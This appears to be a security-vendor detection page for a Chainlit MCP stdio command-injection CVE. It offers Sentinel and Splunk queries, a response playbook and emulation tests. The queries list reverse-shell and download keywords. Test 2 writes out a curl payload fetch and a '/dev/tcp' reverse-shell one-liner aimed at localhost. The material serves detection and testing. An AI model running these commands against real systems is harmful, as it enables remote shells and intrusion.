CVE-2026-45018 Microsoft Sentinel · KQL

Detect Chainlit MCP stdio Transport Command Injection (CVE-2026-45018) in Microsoft Sentinel

Detects exploitation of CVE-2026-45018, an unauthenticated remote code execution vulnerability in Chainlit (>= 2.4.0rc0, <= 2.11.1) caused by OS command injection (CWE-78) in the Model Context Protocol (MCP) stdio transport. When a Chainlit application configures an MCP stdio server, attacker-controlled input is passed to a shell command line and executed without sanitization, allowing arbitrary command execution as the Chainlit service account. This detection surfaces suspicious child processes spawned by the Python/Chainlit/uvicorn process tree, shell metacharacter injection through MCP command parameters, and anomalous outbound activity following MCP session establishment. Remediate by upgrading to Chainlit 2.12.0 or later.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let chainlitParents = dynamic(["chainlit", "uvicorn", "gunicorn", "python", "python3"]);
let shellChildren = dynamic(["sh", "bash", "dash", "zsh", "cmd.exe", "powershell.exe", "pwsh.exe"]);
DeviceProcessEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName has_any (chainlitParents)
    or InitiatingProcessCommandLine has "chainlit"
| where FileName in~ (shellChildren)
    or ProcessCommandLine has_any ("; ", "&&", "|", "$(", "`", ">/", "curl ", "wget ", "/dev/tcp/", "nc ", "bash -i")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, FolderPath
| order by Timestamp desc
critical severity medium confidence

Flags shell or LOLBIN child processes spawned by the Chainlit/uvicorn/python process tree, or command lines containing shell metacharacters characteristic of MCP stdio command injection.

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Legitimate MCP servers that are themselves shell scripts or invoke subprocesses as part of normal tool execution.
  • Developers running Chainlit locally and launching shells or debugging tools from the same process tree.
  • CI/CD or container entrypoint scripts that wrap the Chainlit process and spawn helper commands at startup.

Other platforms for CVE-2026-45018


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate MCP stdio command injection via metacharacters

    Expected signal: Process-launch event: python3 parent spawning /bin/sh executing an injected command containing a semicolon.

  2. Test 2Reverse-shell payload from Chainlit-like process tree

    Expected signal: Process tree showing curl/wget download and a bash interactive process referencing /dev/tcp under a python parent.

  3. Test 3Windows MCP command injection simulation

    Expected signal: ProcessRollup2/Sysmon event: python.exe parent spawning cmd.exe with chained '&&' command execution.


Response Playbook

Triage

  1. Confirm the affected host runs a Chainlit application at version >= 2.4.0rc0 and <= 2.11.1 (check `pip show chainlit`) and that MCP stdio transport is configured.
  2. Review the full process tree of the alerting child process: confirm the parent is a Chainlit/uvicorn/python worker and inspect the exact command line for shell metacharacters or injected commands.
  3. Determine whether the injected command performed reconnaissance, downloaded a second-stage payload, or established outbound connectivity by correlating with network and file-creation telemetry.
  4. Identify the source of the MCP session/request that triggered the process — was it unauthenticated and remote-originating?

Containment

  1. Isolate the affected host from the network to prevent lateral movement and further C2 communication.
  2. Stop the Chainlit service and disable the MCP stdio transport configuration until the application is upgraded to 2.12.0 or later.
  3. Rotate any credentials, API keys, or tokens accessible to the Chainlit service account.

Evidence Collection

  1. Capture the full process-execution records (parent, child, command line, user, timestamps) for the alerting event and surrounding activity.
  2. Preserve Chainlit application logs, MCP session logs, and the app's configuration file defining MCP servers.
  3. Collect any dropped files, shell history, and outbound network connection logs from the affected host for forensic analysis.

Escalation Criteria

  • !Escalate to incident response if the injected command executed successfully and resulted in payload download, persistence, or outbound C2.
  • !Escalate if the Chainlit instance is internet-exposed and the triggering MCP request was unauthenticated and externally sourced.
  • !Escalate if the compromised service account has access to sensitive data, secrets, or additional internal systems.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Process-execution logs showing shell/LOLBIN children of the Chainlit/uvicorn/python process tree.
  • >Chainlit MCP session logs and application configuration listing stdio server command definitions.
  • >Shell history, dropped payload files, and outbound connection records on the affected host.

Tuning Guidance

Baseline the legitimate set of MCP servers and subprocesses your Chainlit deployments spawn, then exclude those known parent/child/command-line combinations. On developer workstations expect higher benign volume from interactive shells launched under the app tree; scope the rule to production hosts or service accounts. Tighten the metacharacter regex if a specific MCP server produces benign command lines containing pipes or semicolons. After upgrading all instances to 2.12.0+, the rule can be demoted to a low-severity hunting signal.


Hunting Queries

Hunts for reverse-shell and payload-download patterns in processes descending from the Chainlit runtime, indicating post-exploitation of the MCP command injection.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessCommandLine has "chainlit" | where ProcessCommandLine has_any ("/dev/tcp/", "bash -i", "curl ", "wget ", "nc ") | project Timestamp, DeviceName, InitiatingProcessCommandLine, ProcessCommandLine, AccountName
Hunting — SPL
spl
index=edr (parent_process_name=*chainlit* OR parent_process_name=*python*) (process=*/dev/tcp/* OR process=*bash -i* OR process=*curl * OR process=*wget * OR process=*nc *) | table _time host parent_process_name process user

Atomic Red Team Tests

Test 1 Simulate MCP stdio command injection via metacharacters
linux

Emulates injection of a shell command through an MCP stdio command parameter, spawning a shell child of a python parent process.

Command

bash
python3 -c "import subprocess; subprocess.run('echo mcp-server-start; id > /tmp/cve_2026_45018.txt', shell=True)"

Cleanup

bash
rm -f /tmp/cve_2026_45018.txt

Expected Telemetry

Process-launch event: python3 parent spawning /bin/sh executing an injected command containing a semicolon.

Expected Detection

KQL/SPL/EDR rules match on shell child of python parent with injection metacharacters in the command line.

Test 2 Reverse-shell payload from Chainlit-like process tree
linux

Simulates post-exploitation download-and-execute behavior descending from a python/uvicorn-style parent.

Command

bash
python3 -c "import subprocess; subprocess.run('curl -s http://127.0.0.1:8000/payload.sh -o /tmp/p.sh || true; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 || true', shell=True)"

Cleanup

bash
rm -f /tmp/p.sh

Expected Telemetry

Process tree showing curl/wget download and a bash interactive process referencing /dev/tcp under a python parent.

Expected Detection

Hunting queries and primary rules alert on reverse-shell and download indicators in the Chainlit process tree.

Test 3 Windows MCP command injection simulation
windows

Emulates command injection spawning a shell from a python parent on Windows.

Command

powershell
python -c "import subprocess; subprocess.run('cmd.exe /c echo mcp-start && whoami > %TEMP%\\cve_2026_45018.txt', shell=True)"

Cleanup

powershell
del %TEMP%\cve_2026_45018.txt

Expected Telemetry

ProcessRollup2/Sysmon event: python.exe parent spawning cmd.exe with chained '&&' command execution.

Expected Detection

KQL/CQL/Sysmon rules match cmd.exe child of python parent with shell metacharacters.

Related Detections